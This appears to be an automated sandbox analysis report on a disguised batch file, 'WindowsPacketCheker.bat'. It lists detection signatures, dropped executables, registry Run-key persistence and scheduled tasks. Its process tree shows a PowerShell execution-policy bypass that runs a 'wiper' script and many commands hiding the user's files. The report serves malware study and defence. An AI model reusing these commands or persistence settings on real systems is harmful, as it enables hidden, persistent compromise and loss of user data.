2aa3cf9f8840c6252622c5179cff2c47de9fee6467e0c54d626bc2689da9cfd8

Analysis

user interaction
yes
max time kernel
335s
max time network
330s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
27/05/2026, 15:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
WindowsPacketCheker.bat
Size 44KB
Sample260527-tevxbsbt4n
SHA256 2aa3cf9f8840c6252622c5179cff2c47de9fee6467e0c54d626bc2689da9cfd8
MD5 3c63676dcf181fe753b935d23b9cf752
SHA1 f3aecf7d9c6c92cc2b626d68e058b1e9583d681c
SHA512 56bcf8101ab177754307a7179358ff24cf7d0ed5a5b618a41647a5b862a029e592ace1a26d1dba9e3544b69cf2cf5b5af9f294b10670a11d8c121b99ef8b4370
SSDEEP 768:S5Fs4O0D009qMDmUHOmZFAnic+XnRG7ZDTAyw6I5jUMRLU3:/xg9qMDmB+G
TLSH
T1B4239807AB5C6F1CE9B7A63A7EBB7920F5585183E3C10F9A31AFD93687401931E5D088
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	6100	powershell.exe
3	3104	powershell.exe
4	3104	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
6100	powershell.exe
3104	powershell.exe
5776	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1328	adware.critical.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemLogonHelper = "C:\\Users\\Admin\\AppData\\Roaming\\adware.critical.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemProccesManager = "C:\\Users\\Admin\\AppData\\Roaming\\VolumeUp.exe"	reg.exe

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI	powershell.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI	Process not Found

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\pt-BR\System.Windows.Forms.Design.resources.dll	powershell.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Client\api-ms-win-core-synch-l1-2-0.dll	Process not Found
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeStudent2019R_OEM_Perp-ul-phn.xrm-ms	powershell.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusE5R_Subscription-pl.xrm-ms	Process not Found
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectPro2019XC2RVL_MAKC2R-ppd.xrm-ms	Process not Found
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLENDS\PREVIEW.GIF	Process not Found
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\new_icons_retina.png	powershell.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\api-ms-win-crt-environment-l1-1-0.dll	Process not Found
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.OData.Core.NetFX35.V7.dll	powershell.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FORMS\1033\REMOTES.ICO	powershell.exe
File created	C:\Program Files\Windows Media Player\ja-JP\wmpnetwk.exe.mui	powershell.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\zh-cn\ui-strings.js	Process not Found
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\en-ae\ui-strings.js	Process not Found
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\[email protected]	Process not Found
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.Http.dll	attrib.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Cartridges\orcl7.xsl	powershell.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\stream_out\libstream_out_chromecast_plugin.dll	Process not Found
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ko-kr\ui-strings.js	powershell.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default\linkedin_logo_large.png	Process not Found
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\uk-ua\ui-strings.js	powershell.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\home-view\selector.js	powershell.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\pl\Microsoft.VisualBasic.Forms.resources.dll	powershell.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jvmti.h	Process not Found
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectProCO365R_SubTest-ppd.xrm-ms	Process not Found
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\CONVERT\1033\TRANSMRR.DLL	powershell.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FORMS\1033\POSTL.ICO	powershell.exe
File created	C:\Program Files\Windows Defender\uk-UA\EppManifest.dll.mui	powershell.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Protect_R_RHP.aapp	powershell.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\S_IlluEmptyFolder_160.svg	Process not Found
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]	Process not Found
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Reflection.Extensions.dll	powershell.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\logging.properties	Process not Found
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms	Process not Found
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\OutlookVL_MAK-ul-phn.xrm-ms	powershell.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProfessionalPipcR_OEM_Perp-pl.xrm-ms	Process not Found
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\ExcelNaiveBayesCommandRanker.txt	Process not Found
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-tw\PlayStore_icon.svg	Process not Found
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16\api-ms-win-crt-runtime-l1-1-0.dll	Process not Found
File opened for modification	C:\Program Files\Microsoft Office\root\vreg\proof.en-us.msi.16.en-us.vreg.dat	powershell.exe
File created	C:\Program Files\Common Files\System\msadc\fr-FR\msaddsr.dll.mui	powershell.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Diagnostics.TextWriterTraceListener.dll	powershell.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\css\main-selector.css	powershell.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\nl-nl\ui-strings.js	powershell.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\sRGB.pf	Process not Found
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectProO365R_SubTrial-ul-oob.xrm-ms	Process not Found
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Security.Cryptography.Cng.dll	attrib.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.15\de\Microsoft.VisualBasic.Forms.resources.dll	powershell.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms	Process not Found
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\codec\libcrystalhd_plugin.dll	Process not Found
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\unpack200.exe	Process not Found
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\illustrations_retina.png	powershell.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Locales\ko_NEUTER.pak	powershell.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\prism_d3d.dll	powershell.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\servertool.exe	Process not Found
File opened for modification	C:\Program Files\Microsoft Office\root\Client\api-ms-win-crt-time-l1-1-0.dll	powershell.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\MondoR_SubTrial-ppd.xrm-ms	powershell.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Personal2019R_Trial-ul-oob.xrm-ms	Process not Found
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\PowerPoint2019R_OEM_Perp-ul-phn.xrm-ms	Process not Found
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\BORDERS\MSART9.BDR	powershell.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Formats.Asn1.dll	attrib.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Locales\sw.pak	Process not Found
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectStdO365R_SubTest-pl.xrm-ms	Process not Found
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Standard2019VL_KMS_Client_AE-ul.xrm-ms	Process not Found
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\sendforsignature.svg	Process not Found

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 8 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1728	attrib.exe
5420	Process not Found
4708	Process not Found
1828	Process not Found
2716	Process not Found
5136	Process not Found
2320	Process not Found
5688	attrib.exe

System Time Discovery 1 TTPs 3 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2872	Process not Found
4860	Process not Found
5080	Process not Found

Delays execution with timeout.exe 64 IoCs

defense_evasion

pid	Process
3068	timeout.exe
3984	timeout.exe
1688	Process not Found
3224	Process not Found
5796	timeout.exe
5828	Process not Found
5588	Process not Found
4796	Process not Found
5100	Process not Found
1520	Process not Found
4164	Process not Found
4748	Process not Found
2656	timeout.exe
4848	Process not Found
3448	Process not Found
5580	Process not Found
5872	Process not Found
4340	Process not Found
2400	timeout.exe
5308	Process not Found
5524	Process not Found
3284	Process not Found
4968	Process not Found
1000	Process not Found
2744	Process not Found
988	timeout.exe
3540	timeout.exe
4644	timeout.exe
5888	timeout.exe
3380	Process not Found
6116	Process not Found
5860	Process not Found
3208	Process not Found
5216	Process not Found
3448	Process not Found
2484	Process not Found
2308	Process not Found
6036	Process not Found
3312	timeout.exe
6068	timeout.exe
6108	Process not Found
4504	timeout.exe
5436	Process not Found
4656	Process not Found
4756	Process not Found
4364	Process not Found
4496	Process not Found
692	Process not Found
4564	Process not Found
5940	Process not Found
5324	timeout.exe
2212	Process not Found
1392	Process not Found
1660	Process not Found
5456	Process not Found
4516	Process not Found
5284	timeout.exe
3372	timeout.exe
5528	timeout.exe
3324	Process not Found
2168	Process not Found
4204	Process not Found
6036	Process not Found
2152	Process not Found

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5808	schtasks.exe
5036	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5776	powershell.exe
5776	powershell.exe
6100	powershell.exe
6100	powershell.exe
3104	powershell.exe
3104	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5776	powershell.exe
Token: SeIncreaseQuotaPrivilege	5776	powershell.exe
Token: SeSecurityPrivilege	5776	powershell.exe
Token: SeTakeOwnershipPrivilege	5776	powershell.exe
Token: SeLoadDriverPrivilege	5776	powershell.exe
Token: SeSystemProfilePrivilege	5776	powershell.exe
Token: SeSystemtimePrivilege	5776	powershell.exe
Token: SeProfSingleProcessPrivilege	5776	powershell.exe
Token: SeIncBasePriorityPrivilege	5776	powershell.exe
Token: SeCreatePagefilePrivilege	5776	powershell.exe
Token: SeBackupPrivilege	5776	powershell.exe
Token: SeRestorePrivilege	5776	powershell.exe
Token: SeShutdownPrivilege	5776	powershell.exe
Token: SeDebugPrivilege	5776	powershell.exe
Token: SeSystemEnvironmentPrivilege	5776	powershell.exe
Token: SeRemoteShutdownPrivilege	5776	powershell.exe
Token: SeUndockPrivilege	5776	powershell.exe
Token: SeManageVolumePrivilege	5776	powershell.exe
Token: 33	5776	powershell.exe
Token: 34	5776	powershell.exe
Token: 35	5776	powershell.exe
Token: 36	5776	powershell.exe
Token: SeIncreaseQuotaPrivilege	5776	powershell.exe
Token: SeSecurityPrivilege	5776	powershell.exe
Token: SeTakeOwnershipPrivilege	5776	powershell.exe
Token: SeLoadDriverPrivilege	5776	powershell.exe
Token: SeSystemProfilePrivilege	5776	powershell.exe
Token: SeSystemtimePrivilege	5776	powershell.exe
Token: SeProfSingleProcessPrivilege	5776	powershell.exe
Token: SeIncBasePriorityPrivilege	5776	powershell.exe
Token: SeCreatePagefilePrivilege	5776	powershell.exe
Token: SeBackupPrivilege	5776	powershell.exe
Token: SeRestorePrivilege	5776	powershell.exe
Token: SeShutdownPrivilege	5776	powershell.exe
Token: SeDebugPrivilege	5776	powershell.exe
Token: SeSystemEnvironmentPrivilege	5776	powershell.exe
Token: SeRemoteShutdownPrivilege	5776	powershell.exe
Token: SeUndockPrivilege	5776	powershell.exe
Token: SeManageVolumePrivilege	5776	powershell.exe
Token: 33	5776	powershell.exe
Token: 34	5776	powershell.exe
Token: 35	5776	powershell.exe
Token: 36	5776	powershell.exe
Token: SeIncreaseQuotaPrivilege	5776	powershell.exe
Token: SeSecurityPrivilege	5776	powershell.exe
Token: SeTakeOwnershipPrivilege	5776	powershell.exe
Token: SeLoadDriverPrivilege	5776	powershell.exe
Token: SeSystemProfilePrivilege	5776	powershell.exe
Token: SeSystemtimePrivilege	5776	powershell.exe
Token: SeProfSingleProcessPrivilege	5776	powershell.exe
Token: SeIncBasePriorityPrivilege	5776	powershell.exe
Token: SeCreatePagefilePrivilege	5776	powershell.exe
Token: SeBackupPrivilege	5776	powershell.exe
Token: SeRestorePrivilege	5776	powershell.exe
Token: SeShutdownPrivilege	5776	powershell.exe
Token: SeDebugPrivilege	5776	powershell.exe
Token: SeSystemEnvironmentPrivilege	5776	powershell.exe
Token: SeRemoteShutdownPrivilege	5776	powershell.exe
Token: SeUndockPrivilege	5776	powershell.exe
Token: SeManageVolumePrivilege	5776	powershell.exe
Token: 33	5776	powershell.exe
Token: 34	5776	powershell.exe
Token: 35	5776	powershell.exe
Token: 36	5776	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 424 wrote to memory of 3844	424	cmd.exe	201
PID 424 wrote to memory of 5776	424	cmd.exe	82
PID 424 wrote to memory of 3372	424	cmd.exe	84
PID 5776 wrote to memory of 2328	5776	powershell.exe	85
PID 2328 wrote to memory of 4296	2328	csc.exe	86
PID 5776 wrote to memory of 4656	5776	powershell.exe	87
PID 5776 wrote to memory of 1224	5776	powershell.exe	88
PID 5776 wrote to memory of 2788	5776	powershell.exe	89
PID 5776 wrote to memory of 3724	5776	powershell.exe	90
PID 5776 wrote to memory of 492	5776	powershell.exe	91
PID 5776 wrote to memory of 4672	5776	powershell.exe	92
PID 5776 wrote to memory of 2040	5776	powershell.exe	93
PID 5776 wrote to memory of 3596	5776	powershell.exe	94
PID 5776 wrote to memory of 3508	5776	powershell.exe	95
PID 5776 wrote to memory of 2992	5776	powershell.exe	96
PID 5776 wrote to memory of 988	5776	powershell.exe	97
PID 5776 wrote to memory of 400	5776	powershell.exe	98
PID 5776 wrote to memory of 5176	5776	powershell.exe	99
PID 5776 wrote to memory of 860	5776	powershell.exe	100
PID 5776 wrote to memory of 5804	5776	powershell.exe	101
PID 5776 wrote to memory of 3740	5776	powershell.exe	102
PID 5776 wrote to memory of 2624	5776	powershell.exe	103
PID 5776 wrote to memory of 6072	5776	powershell.exe	104
PID 5776 wrote to memory of 5688	5776	powershell.exe	105
PID 5776 wrote to memory of 4840	5776	powershell.exe	106
PID 5776 wrote to memory of 4484	5776	powershell.exe	107
PID 5776 wrote to memory of 5164	5776	powershell.exe	108
PID 5776 wrote to memory of 4372	5776	powershell.exe	109
PID 5776 wrote to memory of 856	5776	powershell.exe	110
PID 5776 wrote to memory of 3044	5776	powershell.exe	111
PID 5776 wrote to memory of 5328	5776	powershell.exe	112
PID 5776 wrote to memory of 1984	5776	powershell.exe	113
PID 5776 wrote to memory of 5664	5776	powershell.exe	114
PID 5776 wrote to memory of 2840	5776	powershell.exe	115
PID 5776 wrote to memory of 916	5776	powershell.exe	116
PID 5776 wrote to memory of 592	5776	powershell.exe	117
PID 5776 wrote to memory of 4388	5776	powershell.exe	118
PID 5776 wrote to memory of 5696	5776	powershell.exe	119
PID 5776 wrote to memory of 4456	5776	powershell.exe	120
PID 5776 wrote to memory of 3496	5776	powershell.exe	121
PID 5776 wrote to memory of 5488	5776	powershell.exe	122
PID 5776 wrote to memory of 4692	5776	powershell.exe	123
PID 5776 wrote to memory of 444	5776	powershell.exe	124
PID 5776 wrote to memory of 5444	5776	powershell.exe	125
PID 5776 wrote to memory of 5056	5776	powershell.exe	126
PID 5776 wrote to memory of 5504	5776	powershell.exe	127
PID 5776 wrote to memory of 1912	5776	powershell.exe	128
PID 5776 wrote to memory of 4356	5776	powershell.exe	129
PID 5776 wrote to memory of 1784	5776	powershell.exe	130
PID 5776 wrote to memory of 6140	5776	powershell.exe	131
PID 5776 wrote to memory of 5472	5776	powershell.exe	132
PID 5776 wrote to memory of 220	5776	powershell.exe	133
PID 5776 wrote to memory of 4116	5776	powershell.exe	134
PID 5776 wrote to memory of 1952	5776	powershell.exe	135
PID 5776 wrote to memory of 3456	5776	powershell.exe	136
PID 5776 wrote to memory of 1036	5776	powershell.exe	137
PID 5776 wrote to memory of 1400	5776	powershell.exe	138
PID 5776 wrote to memory of 2880	5776	powershell.exe	139
PID 5776 wrote to memory of 5652	5776	powershell.exe	140
PID 5776 wrote to memory of 3088	5776	powershell.exe	141
PID 5776 wrote to memory of 6132	5776	powershell.exe	142
PID 5776 wrote to memory of 4104	5776	powershell.exe	143
PID 5776 wrote to memory of 3120	5776	powershell.exe	144
PID 5776 wrote to memory of 4940	5776	powershell.exe	145

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 64 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5900	Process not Found
1680	Process not Found
5272	Process not Found
5148	Process not Found
196	Process not Found
3284	Process not Found
5848	Process not Found
2772	Process not Found
944	attrib.exe
2420	Process not Found
1060	Process not Found
2772	Process not Found
4852	Process not Found
792	Process not Found
5136	Process not Found
4100	Process not Found
5420	attrib.exe
5512	Process not Found
5968	Process not Found
1708	Process not Found
2900	Process not Found
5904	Process not Found
1396	Process not Found
4056	Process not Found
5392	Process not Found
1012	Process not Found
5568	Process not Found
5012	Process not Found
1588	Process not Found
240	Process not Found
5868	Process not Found
4744	Process not Found
5756	Process not Found
1076	Process not Found
6028	Process not Found
4520	Process not Found
5244	Process not Found
4292	attrib.exe
4536	Process not Found
3224	attrib.exe
5328	Process not Found
792	Process not Found
1556	Process not Found
4168	Process not Found
2544	Process not Found
1792	Process not Found
2596	Process not Found
2440	Process not Found
1868	Process not Found
5208	Process not Found
2352	Process not Found
5832	Process not Found
4888	Process not Found
5580	Process not Found
1984	Process not Found
4920	Process not Found
3988	Process not Found
748	Process not Found
3264	Process not Found
4312	Process not Found
1356	Process not Found
5060	Process not Found
3520	Process not Found
3464	Process not Found

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WindowsPacketCheker.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:424
- C:\Windows\system32\mode.com
  mode con cols=190 lines=80
  2⤵
  PID:3844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\wiper_8599.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops desktop.ini file(s)
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5776
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3akaee0t\3akaee0t.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2328
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD9C6.tmp" "c:\Users\Admin\AppData\Local\Temp\3akaee0t\CSC5A8B6BE2E11E4C818FAB173088F41EF8.TMP"
      4⤵
      PID:4296
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\WindowS"
    3⤵
    PID:4656
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\AddConfirm.dll
    3⤵
    PID:1224
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\AddExport.mpv2
    3⤵
    PID:2788
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\ApproveTest.avi
    3⤵
    PID:3724
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\BlockRevoke.wax
    3⤵
    PID:492
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\ClearInstall.wdp
    3⤵
    PID:4672
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\ConfirmEnter.vstx
    3⤵
    PID:2040
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\ConfirmInstall.mp2v
    3⤵
    PID:3596
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\ConnectStop.bmp
    3⤵
    PID:3508
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\DebugNew.xlsx
    3⤵
    PID:2992
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\DisconnectDismount.docx
    3⤵
    PID:988
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\EnterRemove.odp
    3⤵
    PID:400
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\ExportExit.cab
    3⤵
    PID:5176
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\ImportDisconnect.clr
    3⤵
    PID:860
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\ImportRemove.jpg
    3⤵
    PID:5804
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\LockFormat.nfo
    3⤵
    PID:3740
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\MeasureSplit.dot
    3⤵
    PID:2624
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Users\Admin\Desktop\Microsoft Edge.lnk"
    3⤵
    PID:6072
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\PingMerge.png
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:5688
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\ProtectPublish.mp2v
    3⤵
    PID:4840
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\RestoreFind.ogg
    3⤵
    PID:4484
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\RestoreResolve.cmd
    3⤵
    PID:5164
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\SelectBackup.7z
    3⤵
    PID:4372
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\SendMove.tif
    3⤵
    PID:856
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\SuspendTrace.wps
    3⤵
    PID:3044
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\TestRemove.sql
    3⤵
    PID:5328
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\TraceConfirm.xlsx
    3⤵
    PID:1984
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Desktop\UnpublishSubmit.clr
    3⤵
    PID:5664
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Documents\CompressShow.xls
    3⤵
    PID:2840
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Documents\ImportConfirm.htm
    3⤵
    PID:916
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Documents\ImportUndo.ppsx
    3⤵
    PID:592
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Documents\LockHide.vsw
    3⤵
    PID:4388
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Documents\PushPop.rtf
    3⤵
    PID:5696
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Documents\ReadImport.vsx
    3⤵
    PID:4456
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Documents\RegisterCompare.vsx
    3⤵
    PID:3496
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Documents\RepairOpen.xlsb
    3⤵
    PID:5488
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Documents\SearchConvert.vssm
    3⤵
    PID:4692
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Documents\SplitReceive.vsx
    3⤵
    PID:444
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Documents\StepRename.xls
    3⤵
    PID:5444
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Documents\UnpublishReceive.vstx
    3⤵
    PID:5056
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Users\Admin\Documents\OneNote Notebooks\Quick Notes.one"
    3⤵
    PID:5504
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Users\Admin\Documents\OneNote Notebooks\My Notebook\Open Notebook.onetoc2"
    3⤵
    PID:1912
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Users\Admin\Documents\OneNote Notebooks\My Notebook\Quick Notes.one"
    3⤵
